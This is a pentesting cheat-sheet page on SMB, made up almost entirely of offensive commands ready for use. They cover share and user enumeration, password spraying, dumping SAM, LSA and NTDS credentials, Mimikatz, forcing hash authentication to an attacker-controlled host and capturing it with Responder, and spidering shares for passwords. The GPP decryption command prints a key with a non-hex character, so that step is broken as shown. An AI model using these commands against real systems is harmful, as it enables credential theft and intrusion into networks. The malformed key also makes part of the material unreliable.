Pentesting.Site - 139/445

Pentesting SMB

SMB (Server Message Block) is the cornerstone of file and printer sharing in Windows environments. It usually runs on port 445, though older versions may use port 139. Because SMB is so deeply woven into many networks, it often goes unnoticed, making it a treasure trove for attackers looking to gather information or move laterally. Infamous exploits like EternalBlue demonstrate just how devastating an SMB vulnerability can be. When running a penetration test, examining SMB should be a priority.

Discovery and Enumeration

Scanning for SMB Services

The Nmap tool can be used to scan for SMB targets:

1
nmap -p 139,445 --open 10.1.1.1            # Check if SMB is running on a target IP
2
nmap -p 139,445 --open -iL targets.txt     # Scan multiple SMB servers from a file of targets
3
nmap -p 139,445 --open 10.1.1.0/24         # Scan a subnet for open SMB servers
4
nmap -p 139,445 -sV 10.1.1.1               # Identify the SMB details

nbtscan is a NetBIOS scanner that can be used to discover hostnames and MAC addresses:

1
nbtscan -r 10.1.1.0/24        # Scan a subnet
2
nbtscan -r -f ip_list.txt     # Scan a list of IPs

enum4linux is a tool that uses multiple techniques to gather information from Windows and Samba systems:

1
enum4linux -v -a 10.1.1.1                                # Run enum4linux with no credentials (Useful if SMB Null sessions are possible)
2
enum4linux -a -u <username> -p <password> 10.1.1.1       # Run authenticated enum4linux

nmblookup queries NetBIOS names and maps them to IP addresses:

1
nmblookup -A 10.11.1.5                                            # Scan a target
2

3
# Unique names (some common codes):
4
# 00: Workstation Service (workstation name)
5
# 03: Windows Messenger service
6
# 06: Remote Access Service
7
# 20: File Service (Host Record)
8
# 21: Remote Access Service client
9
# 1B: Domain Master Browser / Primary Domain Controller
10
# 1D: Master Browser
11

12
# Group names:
13
# 00: Workstation Service (workgroup/domain name)
14
# 1C: Domain Controllers for a domain
15
# 1E: Browser Service Elections

SMBMap is a tool that scans and enumerates shares, including permissions and deeper file share data:

1
smbmap -H 10.1.1.1
2
smbmap -u "guest" -p "" -H 1.1.1.1
3
smbmap -H 10.1.1.1 -d domain.local -u <user> -p <password>

smbclient is a tool that can interactively connect to SMB shares (similar to an FTP client):

1
smbclient -L 10.1.1.1
2
smbclient -L domain.local -W domain.local -U <user>
3
smbclient -U "guest" //10.1.1.1/share_name
4
smbclient //10.1.1.1/tmp
5
smbclient //10.1.1.1/backup -W domain.local -U <user>

rpcclient enumerates domain users, groups, and more via RPC over SMB:

1
rpcclient -U "" -N 10.1.1.1                       # Attempt SMB null session connection
2
rpcclient -U "" -N 10.1.1.1 enumdomusers          # Attempt to enumerate domain users via SMB null session
3
rpcclient -U "DOMAIN\username%passwd" 10.1.1.1    # Authenticate with a domain user account
4
rpcclient -U "admin%password" 10.1.1.1            # Authenticate with administrator credentials
5
rpcclient -U "user%pass" -W WORKGROUP 10.1.1.1    # Specify authentication within a workgroup environment

Useful Tools and Techniques

To automate numerous SMB actions, including password spraying, share enumeration, executing modules (like Mimikatz), and more NetExec is an excellent tool. I have a comprehensive cheat sheet for NetExec here.

1
# Basic usage / listing
2
netexec smb -L
3
netexec smb <dc_ip> -u '' -p '' -M zerologon
4
netexec smb <dc_ip> -u '' -p '' -M petitpotam
5
netexec smb <dc_ip> -u 'user' -p 'pass' -M nopac
6
netexec smb <ip> -u 'user' -p 'pass' -M printnightmare
7
netexec smb <ip> -u 'user' -p 'pass' -M smbghost
8
netexec smb 10.1.1.0/24 -u Administrator -H [hash] --local-auth
9
netexec smb 10.1.1.0/24 -u Administrator -H [hash] --shares
10

11
# Using modules and enumerations
12
netexec smb 10.1.1.0/24 --shares
13
netexec smb 10.1.1.1 -u '' -p '' --pass-pol
14
netexec smb 10.1.1.1 -u '' -p '' --users
15
netexec smb 10.1.1.1 -u '' -p '' --groups
16
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --sessions
17
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --disks
18
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --loggedon-users
19
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --users
20
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --rid-brute
21
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --groups
22
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --local-group
23
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --pass-pol
24
netexec smb 10.1.1.0/24 -u user -p 'Password' --local-auth -M mimikatz
25
netexec smb 10.1.1.0/24 -u 'services' -p 'P@ssw0rd' -M slinky -o SERVER=10.255.9.87 NAME=Slinky_file
26

27
# Password Spraying
28
netexec smb 10.1.1.1 -u user1 user2 user3 -p Password1
29
netexec smb 10.1.1.1 -u user1 -p password1 password2 password3
30
netexec smb 10.1.1.1 -u /path/to/users.txt -p Password1 --continue-on-success
31
netexec smb 10.1.1.1 -u Administrator -p /path/to/passwords.txt
32
netexec smb 10.1.1.1 -u user.txt -p password.txt
33

34
# Obtaining Credentials
35
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --sam
36
netexec smb 10.1.1.0/24 -u 'user' -p 'pass' --lsa
37
netexec smb 10.1.1.1 -u 'user' -p 'pass' --ntds
38
netexec smb 10.1.1.1 -u 'user' -p 'pass' --dpapi
39
netexec smb 10.1.1.1 -u 'user' -p 'pass' --sccm
40

41
# Generating a list for relay attacks (SMB signing disabled)
42
sudo crackmapexec smb 10.1.1.0/24 --gen-relay-list targets.txt

Vulnerability Checks

Nmap provides multiple scripts for enumerating and checking known SMB vulnerabilities:

1
nmap --script smb-* -p 139,445 10.1.1.1
2
nmap --script smb-enum-* -p 139,445 10.1.1.1
3
nmap --script=smb-vuln* 10.1.1.1
4
nmap -iL smbtargets.txt --script=smb-vuln-* -p139,445 --script-args=unsafe=1 -oG smbvulns.txt
5

6
# If writable fileshares found => use netexec + relay attack (if SMB signing = false)

NetExec has several modules to test for vulnerabilities:

1
nxc smb <target(s)> -u 'user' -p 'pass' -M dfscoerce                 # Module to check if the DC is vulnerable to DFSCoerce
2
nxc smb <target(s)> -u 'user' -p 'pass' -M ms17-010                  # MS17-010 - EternalBlue
3
nxc smb <target(s)> -u 'user' -p 'pass' -M nopac                     # Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
4
nxc smb <target(s)> -u 'user' -p 'pass' -M petitpotam                # Module to check if the DC is vulnerable to PetitPotam
5
nxc smb <target(s)> -u 'user' -p 'pass' -M printnightmare            # Check if host vulnerable to printnightmare
6
nxc smb <target(s)> -u 'user' -p 'pass' -M shadowcoerce              # Module to check if the target is vulnerable to ShadowCoerce
7
nxc smb <target(s)> -u 'user' -p 'pass' -M spooler                   # Detect if print spooler is enabled or not
8
nxc smb <target(s)> -u 'user' -p 'pass' -M zerologon                 # Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472

Packet Capture for SMB Hashes

If you have command execution on a system, you can leverage netsh to capture SMB traffic and extract NTLM hashes:

1
netsh.exe trace start persistent=yes capture=yes tracefile=C:\Temp\saphash.d maxsize=4096

Then, from the target system, run any commands that direct output to a remote SMB share on your attacker machine (e.g., DIR \attacker\share). This forces SMB authentication, letting you capture or relay or crack those hashes.

To capture the hashes you can use the Responder tool:

1
sudo responder -I eth0 -v -FDdP

Recursively Download Files

With SMB access, you can recursively download folders with smbclient:

1
smbclient -L //10.1.1.1
2
smbclient //10.1.1.1/share
3
smbclient //10.1.1.1/share$ -U 'domain\user'
4

5
# Download entire folders
6
smbclient //10.1.1.1/Share
7
smb: \> mask ""
8
smb: \> recurse ON
9
smb: \> prompt OFF
10
smb: \> lcd '/path/to/local/dir'
11
smb: \> mget *

GPP Passwords in SYSVOL

Group Policy Preferences (GPP) can store passwords in SYSVOL. Metasploit has a scanner for it:

1
use auxiliary/scanner/smb/smb_enum_gpp
2
set RHOSTS 10.1.1.1
3
set SMBDomain MYDOMAIN
4
set SMBUser myuser
5
set SMBPass mypassword
6
exploit

Then decrypt any found passwords:

1
echo 'edBSHOwhZLTjt/QS3FrIcJ53mjWA98gw9gujOhJOdcqh+ZGMeYOsQbCtZ4xUjTLfCuPH8pG5aSZYdYw/NgLVmQ' \
2
  | base64 -d \
3
  | openssl enc -d -aes-256-cbc \
4
    -K 4f9606e8fcb66cc9fbw48310620ffee8f596e806cc067991209b09a433b76c1b \
5
    -iv 0000000000000000

Crawl File Shares

Windows File Search & Snaffler

Grepping Shares in Windows:

1
grep -ri --include=\*.ini --include=\*.txt --include=\*.xml \
2
  --include=\*.bat --include=\*.ps1 --include=\*.conf --include=\*.svc \
3
  --include=\*.ora --include=\*.config --include=\*.php --include=\*.sql pass \\10.1.1.1\inetpub$

Snaffler is a tool that automatically searches network shares for potentially interesting files (passwords, keys, etc.):

1
runas /netonly /user:user@domain.local "powershell"
2
.\Snaffler.exe -o smb.log -s -d domain.local -r 250000 -j 150

Manspider

manspider is a great tool for crawling SMB shares for juicy information.

1
./manspider.sh 10.1.1.0/24 -f assword -d domain.local -u 'username' -p 'password' -n

NetExec

NetExec has an SMB spidering module for findings sensitive data in SMB shares:

1
nxc SMB 10.1.1.1 -u 'user' -p 'pass' --spider C$ --pattern txt             # Spider the C drive for files with txt in the file name
2
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M spider_plus                         # List all readable files
3
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True   # Dump all files from all readable shares on the target host

139/445 - SMB